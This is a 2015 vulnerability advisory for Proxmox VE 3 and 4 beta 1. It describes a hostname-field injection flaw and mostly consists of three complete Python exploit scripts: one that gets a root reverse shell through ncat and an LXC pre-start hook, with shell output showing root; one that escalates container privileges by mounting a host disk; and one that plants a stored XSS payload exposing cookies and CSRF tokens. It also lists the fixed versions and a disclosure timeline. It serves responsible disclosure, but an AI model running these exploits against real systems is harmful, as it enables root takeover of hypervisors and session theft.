Proxmox VE 3 / 4 XSS / Privilege Escalation / Code Execution

`=====================================================================  
Proxmox VE 3/4 Insecure Hostname Checking (Remote Root Exploit, XSS,  
Privileges escalation)  
=====================================================================  
  
Description  
===========  
  
Proxmox is a popular virtualization solution based on KVM and Linux  
containers.  
  
A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and  
Proxmox VE 4 beta 1 (LXC) in the  
virtual machine creating form allowing authenticated remote users to  
overwrite configuration files settings.  
  
  
Configuration file overwriting  
==============================  
  
Because the Proxmox VE application doesn't check the  
user-provided "hostname" POST parameter, it's  
possible to overwrite configuration files using a CRLF injection.  
In Proxmox VE 3, we successfully gained access to the host filesystem  
from a container and elevated our container capabilities, allowing us to  
obtain user credentials and sniff the network.  
In Proxmox VE 4b1, because LXC allows "hooks" to execute commands, we  
successfully gained root privileges on the host.  
It's also possible to exploit Proxmox clusters.  
  
**Access Vector**: remote  
  
**Security Risk**: high  
  
**Vulnerability**: CWE-915  
  
Proof of Concept  
----------------  
  
The following exploit works for Proxmox VE 4 beta 1. The  
lxc.hook.pre-start configuration variable is used to trigger the ncat  
reverse-shell payload when the container is started.  
  
#!/usr/bin/env python  
  
import requests  
import socket  
import telnetlib  
from threading import Thread  
import argparse  
from time import sleep  
  
def exploit(target, username, password, vmid, template, realm,  
reverse, hostname):  
payload = "ncat %s %s -e /bin/sh" % reverse  
  
print "[~] Obtaining authorization key..."  
apireq = requests.post("https://%s/api2/extjs/access/ticket" %  
target,  
verify=False,  
data={"username": username,  
"password": password,  
"realm": realm})  
response = apireq.json()  
if "success" in response and response["success"]:  
print "[+] Authentication success."  
ticket = response["data"]["ticket"]  
csrfticket = response["data"]["CSRFPreventionToken"]  
createvm =  
requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),  
verify=False,  
headers={"CSRFPreventionToken":  
csrfticket},  
cookies={"PVEAuthCookie": ticket},  
data={"vmid": vmid,  
  
"hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload,  
"storage": "local",  
"password": "sysdream",  
"ostemplate": template,  
"memory": 512,  
"swap": 512,  
"disk": 2,  
"cpulimit": 1,  
"cpuunits": 1024,  
"net0":"name=eth0"})  
if createvm.status_code == 200:  
response = createvm.json()  
if "success" in response and response["success"]:  
print "[+] Container Created... (Sleeping 20 seconds)"  
sleep(20)  
print "[+] Starting container..."  
startcontainer =  
requests.post("https://%s/api2/extjs/nodes/%s/lxc/%s/status/start" %  
(target, hostname, vmid), verify=False, headers={"CSRFPreventionToken":  
csrfticket}, cookies={"PVEAuthCookie": ticket})  
if startcontainer.status_code == 200:  
response = startcontainer.json()  
if "success" in response and response["success"]:  
print "[+] Exploit should be working..."  
else:  
print "[!] Can't start container ! Try to  
start it manually."  
else:  
print "[!] Error creating container..."  
print response  
else:  
print "[!] Error creating Container. Bad HTTP Status  
code : %d" % createvm.status_code  
else:  
print "[!] Authentication failed - Check the credentials..."  
  
def handler(lport):  
print "[~] Starting handler on port %d" % lport  
t = telnetlib.Telnet()  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", lport))  
s.listen(1)  
conn, addr = s.accept()  
  
print "[+] Connection from %s" % addr[0]  
  
t.sock = conn  
  
print "[+] Pop the shell ! :)"  
  
t.interact()  
  
if __name__ == "__main__":  
print "[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas  
Chatelain <n.chatelain[at]sysdream.com>\n"  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--target", required=True, help="The target  
host (eg : 10.0.0.1:8006)")  
  
parser.add_argument("--username", required=True)  
parser.add_argument("--password", required=True)  
  
parser.add_argument("--localhost", required=True, help="Local  
host IP for the connect-back shell.")  
parser.add_argument("--localport", required=True, type=int,  
help="Local port for local bind handler")  
  
parser.add_argument("--vmid", required=False, default="999",  
type=int, help="A unique ID for the container, exploit will fail if the  
ID already exists.")  
  
parser.add_argument("--template", required=False,  
default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",  
help="An existing template in the hypervisor "  
"(default :  
local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")  
  
parser.add_argument("--realm", required=False, default="pam",  
choices=["pve", "pam"])  
  
parser.add_argument("--hostname", required=True, help="The  
target hostname")  
  
args = parser.parse_args()  
  
handlerthr = Thread(target=handler, args=(args.localport,))  
handlerthr.start()  
  
exploitthr = Thread(target=exploit, args=(args.target,  
args.username, args.password, args.vmid, args.template, args.realm,  
(args.localhost, args.localport), args.hostname))  
exploitthr.start()  
  
handlerthr.join()  
  
Shell output :  
  
nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python  
remoteroot.py --target 10.25.0.101:8006 --username nicolas --password  
pveuser --localhost 10.25.0.10 --localport 9999 --vmid 456 --realm pve  
--hostname pve4  
[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain  
<n.chatelain[at]sysdream.com>  
[~] Starting handler on port 9999  
[~] Obtaining authorization key...  
[+] Authentication success.  
[+] Container Created... (Sleeping 20 seconds)  
[+] Exploit should be working...  
[+] Connection from 10.25.0.101  
[+] Pop the shell !  
whoami  
root  
id  
uid=0(root) gid=0(root) groups=0(root)  
  
The following exploit works for Proxmox VE 3. This proof of concept  
mount the host /dev/dm-0 on the container and add multiples capabilities  
on the container.  
  
  
#!/usr/bin/env python  
  
import requests  
import socket  
import telnetlib  
from threading import Thread  
import argparse  
  
def exploit(target, username, password, vmid, template, realm,  
hostname):  
payload = "sysdream\"\nDEVNODES=\"dm-0:r  
\"\nCAPABILITIES=\"mknod:on, sys_chroot:on, sys_rawio: on, net_admin:on,  
dac_override:on\"\n#"  
print "[~] Obtaining authorization key..."  
apireq = requests.post("https://%s/api2/extjs/access/ticket" %  
target,  
verify=False,  
data={"username": username,  
"password": password,  
"realm": realm})  
response = apireq.json()  
if "success" in response and response["success"]:  
print "[+] Authentication success."  
ticket = response["data"]["ticket"]  
csrfticket = response["data"]["CSRFPreventionToken"]  
createvm =  
requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),  
verify=False,  
headers={"CSRFPreventionToken":  
csrfticket},  
cookies={"PVEAuthCookie": ticket},  
data={"vmid": vmid,  
"hostname": payload,  
"storage": "local",  
"password": "sysdream",  
"ostemplate": template,  
"memory": 512,  
"swap": 512,  
"disk": 2,  
"cpus": 1,  
  
"netif":"ifname=eth0,bridge=vmbr0"})  
if createvm.status_code == 200:  
response = createvm.json()  
if "success" in response and response["success"]:  
print "[+] Countainer (Capabilities + DM-0 Mount)  
Created."  
else:  
print "[!] Error creating container..."  
print response  
else:  
print "[!] Error creating Container. Bad HTTP Status  
code : %d" % createvm.status_code  
else:  
print "[!] Authentication failed - Check the credentials..."  
  
if __name__ == "__main__":  
print "[~] Proxmox VE 3 Authenticated Privileges Escalation  
Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--target", required=True, help="The target  
host (eg : 10.0.0.1:8006)")  
  
parser.add_argument("--username", required=True)  
parser.add_argument("--password", required=True)  
  
parser.add_argument("--vmid", required=False, default="999",  
type=int, help="A unique ID for the container, exploit will fail if the  
ID already exists.")  
  
parser.add_argument("--template", required=False,  
default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",  
help="An existing template in the hypervisor  
(default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")  
  
parser.add_argument("--hostname", required=True, help="The  
target hostname")  
  
parser.add_argument("--realm", required=False, default="pam",  
choices=["pve", "pam"])  
  
args = parser.parse_args()  
  
exploit(args.target, args.username, args.password, args.vmid,  
args.template, args.realm, args.hostname)  
  
Shell output :  
  
nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python  
privescalation.py --username root --password sysofdream --vmid 123  
--realm pam --target 10.25.0.110:8006 --hostname pve3  
[~] Proxmox VE 3 Authenticated Privileges Escalation Exploit -  
Nicolas Chatelain <n.chatelain[at]sysdream.com>  
  
[~] Obtaining authorization key...  
[+] Authentication success.  
[+] Countainer (Capabilities + DM-0 Mount) Created.  
  
-- On container :  
  
root@sysdream:/# ls -lah /dev/dm-0  
brw-r----T 1 root root 253, 0 Aug 23 00:33 /dev/dm-0  
  
---  
Stored Cross-Site Scripting  
===========================  
  
Same vulnerability, different usage. Works on Proxmox 3 and Proxmox 4b1.  
  
**Access Vector**: remote  
  
**Security Risk**: high  
  
  
Proof of Concept  
----------------  
  
The following exploit will create a stored XSS displaying the user  
cookies and the PVE CSRFPreventionToken.  
  
  
#!/usr/bin/env python  
  
import requests  
import socket  
import telnetlib  
from threading import Thread  
import argparse  
  
def exploit(target, username, password, vmid, template, realm,  
version, hostname):  
payload =  
"eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,45,34,32,43,32,80,86,69,46,67,83,82,70,80,114,101,118,101,110,116,105,111,110,84,111,107,101,110,41,59))"  
print "[~] Obtaining authorization key..."  
apireq = requests.post("https://%s/api2/extjs/access/ticket" %  
target,  
verify=False,  
data={"username": username,  
"password": password,  
"realm": realm})  
response = apireq.json()  
if "success" in response and response["success"]:  
print "[+] Authentication success."  
ticket = response["data"]["ticket"]  
csrfticket = response["data"]["CSRFPreventionToken"]  
if version == "4":  
createvm =  
requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),  
verify=False,  
headers={"CSRFPreventionToken":  
csrfticket},  
cookies={"PVEAuthCookie": ticket},  
data={"vmid": vmid,  
  
"hostname":"<img/src='x'/onerror=%s>" % payload,  
"storage": "local",  
"password": "sysdream",  
"ostemplate": template,  
"memory": 512,  
"swap": 512,  
"disk": 2,  
"cpulimit": 1,  
"cpuunits": 1024,  
"net0":"name=eth0"})  
elif version == "3":  
createvm =  
requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),  
verify=False,  
headers={"CSRFPreventionToken": csrfticket},  
cookies={"PVEAuthCookie": ticket},  
data={"vmid": vmid,  
  
"hostname":"<img/src='x'/onerror=%s>" % payload,  
"storage": "local",  
"password": "sysdream",  
"ostemplate": template,  
"memory": 512,  
"swap": 512,  
"disk": 2,  
"cpus": 1,  
  
"netif":"ifname=eth0,bridge=vmbr0"})  
if createvm.status_code == 200:  
response = createvm.json()  
if "success" in response and response["success"]:  
print "[+] Stored XSS Created."  
else:  
print "[!] Error creating container..."  
print response  
else:  
print "[!] Error creating Container. Bad HTTP Status  
code : %d" % createvm.status_code  
else:  
print "[!] Authentication failed - Check the credentials..."  
  
if __name__ == "__main__":  
print "[~] Proxmox VE 3/4b1 Stored Cross Site Scripting -  
Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--target", required=True, help="The target  
host (eg : 10.0.0.1:8006)")  
  
parser.add_argument("--username", required=True)  
parser.add_argument("--password", required=True)  
  
parser.add_argument("--vmid", required=False, default="999",  
type=int, help="A unique ID for the container, exploit will fail if the  
ID already exists.")  
  
parser.add_argument("--template", required=False,  
default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",  
help="An existing template in the hypervisor  
(default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")  
  
parser.add_argument("--realm", required=False, default="pam",  
choices=["pve", "pam"])  
  
parser.add_argument("--version", default="3", choices=["3",  
"4"], help="The Proxmox version to exploit")  
  
parser.add_argument("--hostname", required=True, help="The  
target hostname")  
  
args = parser.parse_args()  
  
exploit(args.target, args.username, args.password, args.vmid,  
args.template, args.realm, args.version, args.hostname)  
  
---------------  
Vulnerable code  
---------------  
  
The vulnerable code is located in the /usr/share/perl5/PVE/LXC.pm for  
Proxmox 4.  
  
For Proxmox 3, the vulnerable code is located in  
/usr/share/perl5/PVE/OpenVZ.pm.  
  
--------  
Solution  
--------  
  
Proxmox 4 : Update to pve-container 0.9-22  
  
Proxmox 3 : Update to pve-manager 3.4-10  
  
Timeline (dd/mm/yyyy)  
=====================  
  
04/09/2015 : Initial discovery.  
17/09/2015 : Contact with proxmox team.  
18/09/2015 : Proxmox fixes the vulnerabilities.  
18/09/2015 : Proxmox releases a new pve-container version (0.9-22)  
18/09/2015 : Proxmox releases a new pve-manager version (3.4-10)  
  
Affected versions  
=================  
  
* Proxmox VE 4  
* Proxmox VE 3  
  
  
Credits  
=======  
  
* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)  
  
  
--   
SYSDREAM Labs <[email protected]>  
  
GPG :  
47D1 E124 C43E F992 2A2E  
1551 8EB4 8CD9 D5B2 59A1  
  
* Website: https://sysdream.com/  
* Twitter: @sysdream  
  
`